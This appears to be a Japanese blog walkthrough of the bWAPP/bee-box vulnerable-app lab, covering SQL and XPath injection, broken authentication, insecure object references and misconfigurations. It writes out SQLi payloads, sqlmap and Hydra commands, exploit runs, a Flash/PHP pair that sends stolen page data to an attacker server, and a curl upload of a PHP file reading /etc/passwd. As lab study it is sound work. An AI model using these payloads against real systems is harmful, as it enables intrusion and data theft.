つまり、「Selectで入力されたユーザーがDBに登録されているかどうかを調べて、戻り値に誰かしらのユーザーが存在すればそのユーザとしてログインする」認証において、or 1=1とすることですべてのユーザーを戻り値として受け取るのでログインできている(?)

SQL Injection (Login Form/User)

f:id:kakyouim:20200204205631p:plain
'を入力すると、
f:id:kakyouim:20200204205836p:plain
‘ or ‘1’ = ‘1,' or '1' = '1 -- -を入力すると、
f:id:kakyouim:20200204205938p:plain
SQLエラーは起きていないので、普通に認証の段階でつまずいている
今回は、user名はSQLで入力されたユーザをDBから戻り値として取ってくるが、passwordはSQLに含まれておらず、DBからの戻り値のユーザのパスワードと入力されたパスワードが一致しているかどうかを確認している
こちらはpasswordまではわからないのでuser:' or '1' = '1 -- -,password:本当のパスワードとしない限りこれでは成功しない。

        $login = $_POST["login"];
        $login = sqli($login);
        $password = $_POST["password"];
        $password = sqli($password);
        $password = hash("sha1", $password, false);
        $sql = "SELECT * FROM users WHERE login = '" . $login . "'";
        // echo $sql;
        $recordset = mysqli_query($link, $sql);
        if(!$recordset)
        {
            die("Error: " . mysqli_error());
        }
        else
        {
            $row = mysqli_fetch_array($recordset);
            if($row["login"] && $password == $row["password"])
            {
                // $message = "<font color=\"green\">Welcome " . ucwords($row["login"]) . "...</font>";
                $message =  "<p>Welcome <b>" . ucwords($row["login"]) . "</b>, how are you today?</p><p>Your secret: <b>" . ucwords($row["secret"]) . "</b></p>";
                // $message = $row["login"];
            }

ただし、認証に失敗したとしてもSQL文は実行できているのでBlind Injectionはできる!
' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND '1'='1
' or if((select version()) like "5%", sleep(10), null) -- -
が確認できた。
また、Error-basedの
' AND extractvalue(rand(),concat(0x3a,version()))-- -
を試したところ、実行はエラーでできていないが、結果的にデータベース名が判明している(それしかわからないが……)
f:id:kakyouim:20200204212741p:plain
参考:
https://www.perspectiverisk.com/mysql-sql-injection-practical-cheat-sheet/
https://github.com/codingo/OSCP-2/blob/master/Documents/SQL%20Injection%20Cheatsheet.md

SQL Injection (SQLite)

f:id:kakyouim:20200204212952p:plain
' or '1' = '1でいけた
' Union select 1,2,sqlite_version(),4,5,6 -- -でもいけた。
' Union select 1,2,version(),4,5,6 -- -だとエラーが発生。

Drupal SQL Injection (Drupageddon)

f:id:kakyouim:20200204213211p:plain
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.56.8/drupal -u sample -p sample
でCVE-2014-3704に対応したエクスプロイトを実行
f:id:kakyouim:20200204213752p:plain
user:sample,password:sampleを作成するエクスプロイト
ペイロードは下の通り
f:id:kakyouim:20200204213451p:plain
/drupal/にいってログインしてみるとできる!
f:id:kakyouim:20200204213533p:plain

ちなみに、Metasploitにもエクスプロイトがあるのでそっちも試してみます
use multi/http/drupal_drupaggeddonを使う
f:id:kakyouim:20200204213636p:plain
Metasploitのpayloadは下の通り。わけわかりませんね
f:id:kakyouim:20200204213850p:plain

SQL Injection - Stored (Blog)

f:id:kakyouim:20200204173155p:plain
格納型のSQLInjetionですね。POSTで送るデータでSQLInjetionできそうです
f:id:kakyouim:20200204173328p:plain
この入力に対して、以下のようなエラー
f:id:kakyouim:20200204173353p:plain
' or '1' = '1を入力すると、エラーせずすべて表示されたので、SQLiの脆弱性があります
' order by 1 -- -も試したが、エラーが出てしまった。コメントアウトができないようです。
なのでUNION SELECTとかは厳しそうですね
次にblind injectionを試してみます
f:id:kakyouim:20200204174539p:plain

  • Boolead-based
  • ' RLIKE (SELECT (CASE WHEN (9042=9042) THEN 0x61 ELSE 0x28 END)) AND 'NOrf'='NOrf
  • Error-based
  • OR ROW(4201,1873)>(SELECT COUNT(*),CONCAT(0x71626a7671,(SELECT (ELT(4201=4201,1))),0x716b6a7171,FLOOR(RAND(0)*2))x FROM (SELECT 2894 UNION SELECT 1505 UNION SELECT 8532 UNION SELECT 9010)a GROUP BY x) AND 'REVp'='REVp
  • Time-based
  • AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND 'ngwW'='ngwW

これらでうまく行っています!これらはSqlmap先輩が出力したpayloadです
これらのペイロードは割とよく見る気がするので覚えた方がよいかも

また、' or sleep(5) or '1'='1でも行けてますね。
どうやら、最後にコメントアウトを入れることができないので '1'='1で最後をエラーが出ないような形にしてあげれば良さそうです
参考文献:
SQLiのcheat sheet
https://github.com/codingo/OSCP-2/blob/master/Documents/SQL%20Injection%20Cheatsheet.md
Error-basedなどが詳しく書いてある
https://www.perspectiverisk.com/mysql-sql-injection-practical-cheat-sheet/

SQL Injection - Stored (SQLite)

f:id:kakyouim:20200204175019p:plain
' or '1' = '1'を試してみるが、エラーは特に表示されない
この問題は格納型なので、INSERT INTO テーブル名 VALUES ( ‘値1′ [ , ‘値2’ ]・・・);というソースコードになっているはず。
なので、試しに','');を入力してみると、下のように空白が記憶されている
f:id:kakyouim:20200204175707p:plain
そこで、',sqlite_version());を入力すると、下のようにバージョンが表示されている
f:id:kakyouim:20200204175803p:plain
',(select name from sqlite_master where type='table'));を入力すると、以下のようになった.
f:id:kakyouim:20200204175857p:plain
よって任意のデータが読みだせますね

ちなみに、ソースコードは、下のようになっており、$entryに入力される

$sql = "INSERT INTO blog (id, date, entry, owner) VALUES (" . ++$id . ",'" . date('Y-m-d', time()) . "','" . $entry . "','" . $owner . "');";


参考文献
https://teckk2.github.io/web-pentesting/2018/02/07/SQL-Injection-Stored-(SQLite).html

SQL Injection - Stored (User-Agent)

f:id:kakyouim:20200204180153p:plain
User-AgentにSQLInjetionできそうです
Burpで'をUser-Agentに入力してみます
f:id:kakyouim:20200204180350p:plain
とすると、内部エラーが出力されたのでSQLInjetionできます。
' or '1'='1を入力すると、エラーなくすべて表示されました。
' order by 1 or '1'='1を入力すると、以下のようなエラーが表示されました
f:id:kakyouim:20200204180820p:plain
この形から、INSERT INTO テーブル名 VALUES ( ‘値1’,’useragent’,’ipaddress’);となっていることが予想されます。
先ほどの','');-- -を試してみると、次のように空白が表示されています!
f:id:kakyouim:20200204180708p:plain
',database());-- -などで成功しています!

また、Time-basedの' or sleep(5) or '1'='1でも成功しました!
一つ前の問題でSqlmapが吐いた' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND 'ngwW'='ngwWも成功しています!
実際に、以下でSqlmapを実行してみます

sqlmap -u "http://192.168.56.8/bWAPP/sqli_17.php" --cookie="security_level=0; PHPSESSID=d389eb23cf88b9d6be8473b173fcd1ff" --batch --level 3 -p User-Agent --dbs


f:id:kakyouim:20200204181313p:plain
Boolean-based,Error-based,Time-basedを検出しています!

SQL Injection - Stored (XML)

f:id:kakyouim:20200204181809p:plain
XML形式でデータをSQLパーサに送信するようです
特に何かを表示させるような感じではないので、Union型ではなさそうです
Burpで'を入力してみます
f:id:kakyouim:20200204181918p:plain
すると次のようなエラーが表示されました
f:id:kakyouim:20200204182012p:plain
Time-basedの' or sleep(5) or '1'='1 -- -を試すと成功!
Boolean-basedの' RLIKE (SELECT (CASE WHEN (1119=1119) THEN 0x73716c6d61702f312e332e313023737461626c652028687474703a2f2f73716c6d61702e6f726729 ELSE 0x28 END)) AND 'ZyyZ'='ZyyZでも成功!

sqlmap -u "http://192.168.56.8/bWAPP/sqli_8-2.php" --cookie="security_level=0; PHPSESSID=d389eb23cf88b9d6be8473b173fcd1ff" --batch --level 3 --data="<reset><login>a</login><secret>Any bugs?</secret></reset>" --dbs --method POST --dbms mysql

を実行すると、以下のような結果が得られた
f:id:kakyouim:20200204182509p:plain
参考
動画ではError-based型で成功しているが自分は成功しなかった(???) https://www.youtube.com/watch?v=cmTZ3LXyjsk

SQL Injection - Blind - Boolean-Based

f:id:kakyouim:20200204182739p:plain
Blindと書いてあるのでTime-basedとかBoolean-basedを試す

' or sleep(5) -- -を実行すると、明らかに5秒以上動かなくなった……(なんでだ?)
' or sleep(5) or '1' = '1とかはダメだった
' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND 'ngwW'='ngwWだと成功した!

' RLIKE (SELECT (CASE WHEN (1119=1119) THEN 0x73716c6d61702f312e332e313023737461626c652028687474703a2f2f73716c6d61702e6f726729 ELSE 0x28 END)) AND 'ZyyZ'='ZyyZで試してみる
(1119=1119)とすると、
f:id:kakyouim:20200204183348p:plain
(1119=1)とすると、
f:id:kakyouim:20200204183423p:plain
となっており、1bitの情報が得られる!
実際にSqlmapを実行すると、
f:id:kakyouim:20200204183607p:plain

SQL Injection - Blind - Time-Based

f:id:kakyouim:20200204183702p:plain
‘ or sleep(5) or ‘1’=’1とか動かん。よくわからん
' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND 'ngwW'='ngwWで成功した!
Boolean-basedの
' RLIKE (SELECT (CASE WHEN (1119=1119) THEN 0x73716c6d61702f312e332e313023737461626c652028687474703a2f2f73716c6d61702e6f726729 ELSE 0x28 END)) AND 'ZyyZ'='ZyyZは失敗した

SQL Injection - Blind (SQLite)

f:id:kakyouim:20200204184034p:plain
Blindを試す
f:id:kakyouim:20200204184130p:plain
f:id:kakyouim:20200204184138p:plain
より、Boolean-based型が成功している
Sqlmapを実行すると、

sqlmap -u "http://192.168.56.8/bWAPP/sqli_14.php?title=a&action=search" --cookie="security_level=0; PHPSESSID=d389eb23cf88b9d6be8473b173fcd1ff" --batch --level 5 --dbs  --risk 3 -p title –dbms SQLite

f:id:kakyouim:20200204184336p:plain

SQL Injection - Blind (WS/SOAP)

f:id:kakyouim:20200204184628p:plain
Blindを試す
GETをsqli_5.php?title=' or '1'='2&action=goとすると、
f:id:kakyouim:20200204184744p:plain
GETをsqli_5.php?title=' or '1'='1&action=goとすると、
f:id:kakyouim:20200204184813p:plain
となっているので、Boolean-based型ができる!
また、Time-basedの
' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND '1'='1
も成功している
' or sleep(5) and '1'='1としても5秒以上ではあるがSleepしている(ような挙動)なので成功している?

XML/XPath Injection (Login Form)

f:id:kakyouim:20200204185116p:plain
xpathとはXML形式のファイルから特定の部分を指定して抽出するための構文(言語)らしいです
つまり、SQLみたいなものと解釈しています
SQLではないので、SQLInjetionのペイロードとは少し違いますが、似ています

見た感じPOSTっぽいですが、Burpで見てみるとGETでした!(はえー)
f:id:kakyouim:20200204185513p:plain
SQLiで定番の' or '1'='1でログインできました!
f:id:kakyouim:20200204185605p:plain
参考文献:
Xpath Injectionのペイロードなどがのっている神
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection#tools

f:id:kakyouim:20200204185801p:plain
GETメソッドで映画のジャンルをactionとかsfとかを送信する
をGETメソッドのgenre=’としていれると次のerrorが発生
f:id:kakyouim:20200204190048p:plain
Genre=actとして省略してもgenre=actionと同じ動作をするのでxpath構文の中にcontains()が実装されていると予想できるらしい

  • ) or contains(genre, '
  • ) or not(contains(genre, 'teck') and '1'='2
  • )]/password | a[contains(a,'
  • )]/*|//*[contains('1','1

が動くらしい(結果論で申し訳ない)
実際のソースコードは、
f:id:kakyouim:20200204190535p:plain
の通りである。
初め二つのペイロードはgenreに''を含む値、つまりすべてのジャンルの値を取り出している
f:id:kakyouim:20200204190714p:plain
3つ目は、xmlファイルの中のpasswordの中身をパイプでつないでるっぽい。
4つ目の')]/*|//*[contains('1','1を使えばすべて表示できるらしい
f:id:kakyouim:20200204190952p:plain
参考:
https://teckk2.github.io/web-pentesting/2018/02/07/XML-XPath-Injection-(Search).html

A2 Broken Auth. & Session Mgmt.

Broken Auth. - CAPTCHA Bypassing

f:id:kakyouim:20200205205459p:plain
bee/bugと書いてあるので、これとCAPTCHAでログインが可能である。
しかし、本来はUserとPasswordはブルートフォースで試すことになるため、アクセスするたびに毎回異なった正しい値を設定する必要があるCAPTCHAは邪魔である
本問はこれをBypassする問題
まずは普通にアクセスする際にどういう通信が発生しているのかWiresharkで確認してみる
http.request.method == "POST" or http.request.method == "GET"でフィルタ
f:id:kakyouim:20200205205849p:plain
POST以外にも通信が発生している。
f:id:kakyouim:20200205210313p:plain
これはPOSTした際にクレデンシャルが間違っていた時に新しいCAPTCHAをサーバー側のSESSIONにセットし、GETで新しいCAPTCHAWEBブラウザに表示しているからである。
実際にソースコードを確認すると、以下のようになっている。

else
    {
        if($_POST["captcha_user"] == $_SESSION["captcha"])
        {
            if($_POST["login"] == $login && $_POST["password"] == $password)
            {
                $message = "<font color=\"green\">Successful login!</font>";
            }

よって、POSTのみを行えばよい
これをBurpのIntruderで行う
f:id:kakyouim:20200205210337p:plain
f:id:kakyouim:20200205210355p:plain
上記の通り、成功している!この時の通信は以下の通りPOSTのみである
f:id:kakyouim:20200205210444p:plain

Broken Auth. - Forgotten Function

f:id:kakyouim:20200205222355p:plain
ソースコードは以下の通り。

if(isset($_POST["action"]))
{
    $email = $_POST["email"];
    if(!filter_var($email, FILTER_VALIDATE_EMAIL))
    {
    $message = "<font color=\"red\">Please enter a valid e-mail address!</font>";
    }
    else
    {
        $email = mysqli_real_escape_string($link, $email);
        $sql = "SELECT * FROM users WHERE email = '" . $email . "'";
        // Debugging
        // echo $sql;    
        $recordset = $link->query($sql);
        if(!$recordset)
        {
            die("Error: " . $link->error);
        }

RFC822を使用しているようなのでフィルタのチェックはガバガバか?と思ったが、mysqli_real_escape_stringがあるのでSQLInjetionはできなさそう。
つまり、MailAddressはブルートフォースする必要がある。
試しに以下でUserを作成する
f:id:kakyouim:20200205222725p:plain
f:id:kakyouim:20200205222830p:plain
これでやると行けたが、この問題の趣旨がよくわからない?なんでしょう??

Broken Auth. - Insecure Login Forms

  • low
    f:id:kakyouim:20200205233211p:plain
    ソースコードを見るとクレデンシャルが書いてあります。
    f:id:kakyouim:20200205233309p:plain
    user="tonystark" password="I am Iron Man"でログイン成功!
    f:id:kakyouim:20200205233359p:plain
  • medium
    f:id:kakyouim:20200205233428p:plain
    ソースコードを見てみると、javascriptが見える
    f:id:kakyouim:20200205233515p:plain
    これを開発者ツールのConsoleで実行すると,passphraseが得られた。
    f:id:kakyouim:20200205233618p:plain
    f:id:kakyouim:20200205233631p:plain
  • hard
    f:id:kakyouim:20200205233653p:plain
    user=bee,password=bugで成功。

    Broken Auth. - Logout Management

  • low
    f:id:kakyouim:20200206000123p:plain
    ソースコードを見てみる
switch($_COOKIE["security_level"])
{
    case "0" :                   
        // Do nothing
        break;        
    case "1" :            
        // Destroys the session        
        session_destroy();       
        break;        
    case "2" :            
                       
        // Unsets all of the session variables
        $_SESSION = array();
        // Destroys the session    
        session_destroy();
                        break;
            default :
        // Do nothing
        break;      
}

どうやらlogin.phpにリダイレクトはされるが、Sessionは削除されないため、ログインしてるのと同じ。
- medium
MediumとHardではログアウトすると再度ログインする必要があった。

Broken Auth. - Password Attacks

  • low
    f:id:kakyouim:20200206004415p:plain
    bee/bugで基本的にログイン自体はできるけど、その認証の違いを学ぶのが本問の趣旨(?)
    lowレベルのソースコードは以下の通り、userとpasswordを確認しかしていない
if(isset($_POST["form"]))
{
    if($_POST["login"] == $login && $_POST["password"] == $password)
    {
        $message = "<font color=\"green\">Successful login!</font>";
    }
    else
    {
        $message = "<font color=\"red\">Invalid credentials! Did you forgot your password?</font>";
    }
}

f:id:kakyouim:20200206004900p:plain
- medium
POSTリクエストを見てみると、以下のようにランダムなSaltを送信している
f:id:kakyouim:20200206005009p:plain

if(isset($_POST["form"]))
{
    if(isset($_SESSION["salt"]) && ($_POST["salt"] == $_SESSION["salt"]))
    {
        if($_POST["login"] == $login && $_POST["password"] == $password)
        {
            $message = "<font color=\"green\">Successful login!</font>";
        }
        else
        {
            $message = "<font color=\"red\">Invalid credentials! Did you forgot your password?</font>";
        }
    }
    else
    {
        $message = "<font color=\"red\">Incorrect salt!</font>";
    }
}
$salt = random_string();
$_SESSION["salt"] = $salt;

毎回ランダムな値がセットされるのでHydraなどのブルートフォースツールは動かないっぽい
- hard
f:id:kakyouim:20200206005251p:plain

if(isset($_POST["form"]))
{
    if(isset($_SESSION["captcha"]) && ($_POST["captcha_user"] == $_SESSION["captcha"]))
    {
        if($_POST["login"] == $login && $_POST["password"] == $password)
        {
            $message = "<font color=\"green\">Successful login!</font>";
        }
        else
        {
            $message = "<font color=\"red\">Invalid credentials! Did you forgot your password?</font>";
        }
    }
    else
    {
        $message = "<font color=\"red\">Incorrect CAPTCHA!</font>";
    }
}

CAPTCHAはおそらくリロードしない限りは使いまわせる
f:id:kakyouim:20200206005404p:plain

Broken Auth. - Weak Passwords

f:id:kakyouim:20200206011220p:plain
正しいパスワードをブルートフォースで攻撃する

$login = "test";
switch($_COOKIE["security_level"])
{
    case "0" :
        $password = "test";
        break;
    case "1" :
        $password = "test123";
        break;
    case "2" :
        $password = "Test123";
        break;
    default :
        $password = "test";
        break;
}

/usr/share/john/password.lst,/usr/share/wfuzz/wordlist/general/big.txtならtesttest123ならいけた。Test123があるワードリストはWordlistsディレクトリ下にはない。
hydra -L /usr/share/metasploit-framework/data/wordlists/adobe_top100_pass.txt -P /usr/share/metasploit-framework/data/wordlists/adobe_top100_pass.txt -s 80 192.168.56.8 http-post-form '/bWAPP/ba_weak_pwd.php:login=^USER^&password=^PASS^&form=submit:Invalid credentials!:H=Cookie:security_level=0; PHPSESSID=fdecda3af8c9c666618ffc6af4b27c5c; has_js=1'
を実行するとlowレベルなら成功!
f:id:kakyouim:20200206011720p:plain

Session Mgmt. - Administrative Portals

  • low
    f:id:kakyouim:20200206013146p:plain
    smgmt_admin_portal.php?admin=0となっているURLの値をadmin=1とすると、成功
    f:id:kakyouim:20200206013236p:plain
  • medium
    f:id:kakyouim:20200206013306p:plain
    Cookieの中にadmin=0とあるのでこれをadmin=1とするころでUnlock!
    f:id:kakyouim:20200206013327p:plain
  • low
    f:id:kakyouim:20200206013359p:plain
    初めからUnlockになっているゾ

    Session Mgmt. - Cookies (HTTPOnly)

    f:id:kakyouim:20200206023235p:plain
    ソースコードを見ると、Hereを押すと以下のスクリプトが実行されることがわかる。

<script>
function show_my_cookies()
{    
    alert(document.cookie)   
}
</script>

http only属性がONの場合は、HTTPテキスト内のスクリプトからCookieをアクセスできなくなる。 これにより、ウェブサイトにクロスサイト・スクリプティング脆弱性があっても、その脆弱性によってCookieを盗まれるという事態を防止できる。
しかし、今回はOFFとなっているので、もしXSSができる場合にSESSIONが盗まれてしまう
http only属性はChromeの[Application]の[Cookies]で確認する
f:id:kakyouim:20200206023619p:plain
また、Cookiesをクリックすると以下のように表示された。
f:id:kakyouim:20200206023709p:plain
ここで<h1>aa</h1>などのInjectionを試すと実行されている
f:id:kakyouim:20200206023755p:plain
Mediumではhttp only属性が付与されている
Htmlでは表示されているtop_securityにhttp only属性が付与されているため、alert(daocument.cookie)の実行で表示している[here]タブからは参照できない
f:id:kakyouim:20200206034354p:plain

Session Mgmt. - Cookies (Secure)

f:id:kakyouim:20200206034506p:plain
secure属性を指定すると、TLSもしくはSSLで保護された通信が用いられている場合のみ、Cookieがブラウザから送出されるようになる。
Mediumでhttpsでアクセスすると、以下のようにSecure属性がついているtop_securityがサーバに投げられてhtmlに表示される。
f:id:kakyouim:20200206034600p:plain
httpでアクセスするとSecure属性のtop_securityはサーバに送信されず、Htmlに表示されていない
f:id:kakyouim:20200206034621p:plain

Session Mgmt. - Session ID in URL

f:id:kakyouim:20200206035229p:plain
lowの時のみ、URLにSessionIDが見えている
f:id:kakyouim:20200206035304p:plain

Session Mgmt. - Strong Sessions

  • low
    f:id:kakyouim:20200206041226p:plain
    Hereにアクセスすると以下のようにStrongSessionを持っていないといわれる。
    f:id:kakyouim:20200206041310p:plain
  • medium
    Mediumでアクセスしてみると以下のようになった。
    f:id:kakyouim:20200206041345p:plain
    CookieにSessionIDが設定されている。Secure属性がついていないため、httpでもStrongSessionIDが付与されている。これでは盗聴されたときにSessionハイジャックに脆弱である。
    f:id:kakyouim:20200206041428p:plain
  • high
    f:id:kakyouim:20200206041457p:plain
    乱数をSHA256ハッシュ化したStrongSessionIDにSSL/TLS通信でhttp only, http secure属性を付与している。これなら普通は盗まれないのかな?
            // Generates a SSL secured cookie
            // Generates a random token
            $token = uniqid(mt_rand(0,100000));
            $token = hash("sha256", $token);

            $_SESSION["top_security_ssl"] = $token;

            // The cookie will be available within the entire domain
            // Sets the Http Only flag and the Secure flag
            setcookie("top_security_ssl", $token, time()+3600, "/", "", true, true);

A4 – Insecure Direct Object References

Insecure DOR (Change Secret)

f:id:kakyouim:20200207141831p:plain
POSTで送信するデータを見てみると、
f:id:kakyouim:20200207141858p:plain
となっており、このlogin=beeの値を書き換えることで別のユーザーのSecretを上書きできる。
MediumやHighではPOSTは以下のようにランダムな値であるTokenに変わっている
f:id:kakyouim:20200207142056p:plain

                // If the security level is MEDIUM or HIGH
                if(!isset($_REQUEST["token"]) or !isset($_SESSION["token"]) or $_REQUEST["token"] != $_SESSION["token"])
                {
                    $message = "<font color=\"red\">Invalid token!</font>";
                }

ランダムなTokenを作成して、それをSESSIONとPOSTにそれぞれ入れて、それが一致か確認する認証に変わっている。
Lowでは、ユーザー名は$SESSIONから取得するべきで、POSTの$REQUESTSには入れるべきではないのに入っているのが問題

// A random token is generated when the security level is MEDIUM or HIGH
if($_COOKIE["security_level"] == "1" or $_COOKIE["security_level"] == "2")
{
    $token = sha1(uniqid(mt_rand(0,100000)));
    $_SESSION["token"] = $token;
}

Insecure DOR (Reset Secret)

f:id:kakyouim:20200207143156p:plain
POSTを見ると、login=beeとなっているため、このユーザー名を書き換えることでその他のユーザのSecretを書き換えらえる。
f:id:kakyouim:20200207143258p:plain

Insecure DOR (Order Tickets)

f:id:kakyouim:20200207143630p:plain
POSTを見てみると、価格も送信しているのでこれを15じゃなくて100に書き換えてみる
f:id:kakyouim:20200207143814p:plain
レスポンスを見ると下のように書き換えられている!
f:id:kakyouim:20200207143855p:plain

A5 – Security Misconfiguration

Arbitrary File Access (Samba)

f:id:kakyouim:20200207150157p:plain
enum4linux 192.168.56.8
f:id:kakyouim:20200207150230p:plain
smbclient //192.168.56.8/tmp
f:id:kakyouim:20200207150254p:plain
パスワードなしで接続できる共有フォルダがあれば、Metasploitを用いてrootディレクトリ以下のコピーを作成できる

use auxiliary/admin/smb/samba_symlink_traversal
set RHOSTS 192.168.56.8
set SMBSHARE tmp
exploit

f:id:kakyouim:20200207150432p:plain
Metasploitを使わずに同じことをしたいがどうやるんだろう??
f:id:kakyouim:20200207150455p:plain
/etc/passwdも読める

Cross-Domain Policy File (Flash)

f:id:kakyouim:20200207181930p:plain
本問はFlashRevive Adserver before 3.2.2でデフォルトでクロスドメイン制約がすべてのドメインに関して許可されていることによるCSRFが可能というテーマである(CVE-2015-7369)
CSRFとは、オンラインサービスを利用するユーザーがログイン状態を保持したまま悪意のある第三者の作成したURLなどをクリックした場合などに、本人が意図しない形で情報・リクエストを送信されてしまうことである

つまり、今回の攻撃は攻撃者が用意したbee-boxとは別のWebサーバにアクセスするだけで、bee-boxに勝手にアクセスされて任意の操作(User作成、Secretの取得や書き換えなど)をされてしまうということ。
ログインしている状態でこのような攻撃者のWebページにアクセスしてしまうと、ユーザが気づかない間に勝手に情報が抜かれていることがありえる。

ルートディレクトリに存在しているcrossdomain.xmlを見てみると、下のようにすべてのドメインからの操作を許可している
f:id:kakyouim:20200207182047p:plain
攻撃用サーバにアップするソースコードなどのサンプルが/evil/にあるらしいのでアクセスしてみる
f:id:kakyouim:20200207182632p:plain
SWFファイルとは、Adobe Flashなどで作成されたベクターアニメーションなどが格納された再生用ファイルの形式で、.asファイルコンパイルして作成する。
標準のファイル拡張子は「.swf」。Webブラウザなどに組み込まれたFlash Playerなどで再生・実行される。
今回は.asファイルにbee-boxのsecret.phpにアクセスしてそこからデータを取得して、攻撃者のphpファイルに返すような動作を記述する
コンパイラは以下を使用
f:id:kakyouim:20200207182801p:plain
Kali側の攻撃用サーバのxdx.phpは以下の通りである

<?php
if(isset($_POST["data"])) {
    $req_dump = $_POST["data"];
    $fp = fopen("xdx.log", "a");
    fwrite($fp, $req_dump);
    fclose($fp);
    exit;
}
?>
 
<!DOCTYPE html>
<html>
    <object type="application/x-shockwave-flash" data="xdx.swf" width="1" height="1">
        <param name="movie" value="xdx.swf" />
    </object>
</html>

xdx.asは以下の通りである。/evil/にあるファイルのうち、二つのURLを変更しただけ

// Author: Gursev Singh Kalra (gursev.kalra@foundstone.com)
// Customizations by Malik Mesellem (malik@itsecgames.com)
// xdx.as
// Thanks - http://help.adobe.com/en_US/as3/dev/WS5b3ccc516d4fbf351e63e3d118a9b90204-7cfd.html#WS5b3ccc516d4fbf351e63e3d118a9b90204-7cf5
package {
    import flash.display.Sprite;
    import flash.events.*;
    import flash.net.URLRequestMethod;
    import flash.net.URLRequest;
    import flash.net.URLVariables;
    import flash.net.URLLoader;

    public class xdx extends Sprite {
        public function xdx() {
            // Target URL from where the data is to be retrieved
            var readFrom:String = "http://192.168.56.8/bWAPP/secret.php";
            var readRequest:URLRequest = new URLRequest(readFrom);
            var getLoader:URLLoader = new URLLoader();
            getLoader.addEventListener(Event.COMPLETE, eventHandler);
            try {
                getLoader.load(readRequest);
            } catch (error:Error) {
                trace("Error loading URL: " + error);
            }
        }

        private function eventHandler(event:Event):void {
            // URL to which retrieved data is to be sent
            var sendTo:String = "http://10.0.2.15/share/crossdomain/xdx.php"
            var sendRequest:URLRequest = new URLRequest(sendTo);
            var variables:URLVariables = new URLVariables();
            variables.data = event.target.data;
            sendRequest.method = URLRequestMethod.POST;
            sendRequest.data = variables;
            var sendLoader:URLLoader = new URLLoader();
            try {
                sendLoader.load(sendRequest);
            } catch (error:Error) {
                trace("Error loading URL: " + error);
            }
        }
    }
}

/opt/flex_sdk/bin/mxmlc xdx.asasファイルswfファイルコンパイル
f:id:kakyouim:20200207183328p:plain
service apache2 startでKali側で攻撃用サーバを立ち上げる
f:id:kakyouim:20200207183458p:plain
ChromeではデフォルトでFlashのPluginが無効なので有効にする
f:id:kakyouim:20200207183514p:plain
ChromeのNetworkで確認すると以下のようになっており、secret.phpにアクセスできている!
f:id:kakyouim:20200207183633p:plain
f:id:kakyouim:20200207183551p:plain
参考文献:
とても詳細に解説が書いてある
https://m.blog.naver.com/PostView.nhn?blogId=is_king&logNo=221618987993&proxyReferer=https%3A%2F%2Fwww.google.com%2F
さらにUserを作成するようなActionScriptがある。
https://medium.com/@x41x41x41/exploiting-crossdomain-xml-missconfigurations-3c8d407d05a8

Insecure FTP Configuration

f:id:kakyouim:20200207192001p:plain
ftp 192.168.56.8
f:id:kakyouim:20200207192025p:plain
lftp -u anonymous,anonymous 192.168.56.8
f:id:kakyouim:20200207192045p:plain
Filezilla
f:id:kakyouim:20200207192057p:plain
use auxiliary/scanner/ftp/anonymous
f:id:kakyouim:20200207192122p:plain

Insecure SNMP Configuration

f:id:kakyouim:20200207195223p:plain
SNMP(Simple Network Management Protocol)とは、UDP/IPベースのネットワーク監視、ネットワーク管理を行うためのプロトコルである。
portは161
snmp-check 192.168.56.8
f:id:kakyouim:20200207195312p:plain
snmpwalk -v2c -c private 192.168.56.8
snmpwalk -v2c -c public 192.168.56.8
bee-boxのバージョンがみえている。
f:id:kakyouim:20200207195338p:plain
use auxiliary/scanner/snmp/snmp_login
f:id:kakyouim:20200207195513p:plain
参考文献:
https://net123.tistory.com/513

Insecure WebDAV Configuration

f:id:kakyouim:20200207202413p:plain
WebDAVとは、主にWebサーバからWebクライアントへのファイルを送信するのに用いられるHTTPを拡張し、サーバ内のファイルやディレクトリの管理を直接行うことができるようにする仕様。
ここにファイルアップロードできないかなどを試す
f:id:kakyouim:20200207202443p:plain
cadaver http://192.168.56.8/webdav
A command-line WebDAV client for Unix
f:id:kakyouim:20200207202549p:plain
davtest -url http://192.168.56.8/webdav/
f:id:kakyouim:20200207202609p:plain
curl -X PUT --data '<?php $f=fopen("/etc/passwd","r"); echo fread($f,filesize("/etc/passwd")); fclose($f); ?>' 'http://192.168.56.8/webdav/attack.php'
f:id:kakyouim:20200207202646p:plain
f:id:kakyouim:20200207202655p:plain
use auxiliary/scanner/http/webdav_scanner
f:id:kakyouim:20200207202716p:plain
その他、nikto,nmapなどでも確認できるらしい
curl -v -X OPTIONS "http://192.168.56.8/webdav/"
PUTができるかどうか確認すると、PUTが表示されていない。なんでだろう?
f:id:kakyouim:20200207202840p:plain
参考文献:
Introduction to HTTP PUT Method
Scanning HTTP PUT Method (Nikto)
Exploiting PUT Method Using Cadaver
Exploiting PUT Method Using Nmap
Exploiting PUT Method Using Poster
Exploiting PUT Method Using Metasploit
Exploiting PUT Method Using Burpsuite
Exploiting PUT Method Using Curl
の方法が詳しく載っている
https://www.hackingarticles.in/multiple-ways-to-exploiting-put-method/

Local Privilege Escalation (sendpage)

f:id:kakyouim:20200209145207p:plain
とりあえずまずユーザ権限のShellを奪取する
f:id:kakyouim:20200209145229p:plain
f:id:kakyouim:20200209145320p:plain
python -c 'import pty; pty.spawn("/bin/sh")'でshellをアップグレード
下のLocal Privilege Escalationを参考にする
kakyouim.hatenablog.com
まずは、LinEnum.shなどのEnumコードで情報収集する
以下の有益な情報が得られた
f:id:kakyouim:20200209145604p:plain
f:id:kakyouim:20200209145636p:plain
f:id:kakyouim:20200209145651p:plain
f:id:kakyouim:20200209145709p:plain
f:id:kakyouim:20200209145724p:plain
sudoコマンドにSUIDビットが立っているため、一般ユーザーでもsudoが使用可能である
今、user=bee,password=bugのユーザーが存在するため、そっちに切り替えてsu rootをすればRootになれる
f:id:kakyouim:20200209145940p:plain
perl Linux_Exploit_Suggester.plでExploitを探す
f:id:kakyouim:20200209150049p:plain
f:id:kakyouim:20200209150100p:plain

また、得られたKernelのバージョンから有効なExploitをsearchsploitでも探す
searchsploitで探すときには、正しいExploitを探すというよりは、明らかに動かないExploitを排除していって残ったものが正常に動くExploitであると考えています
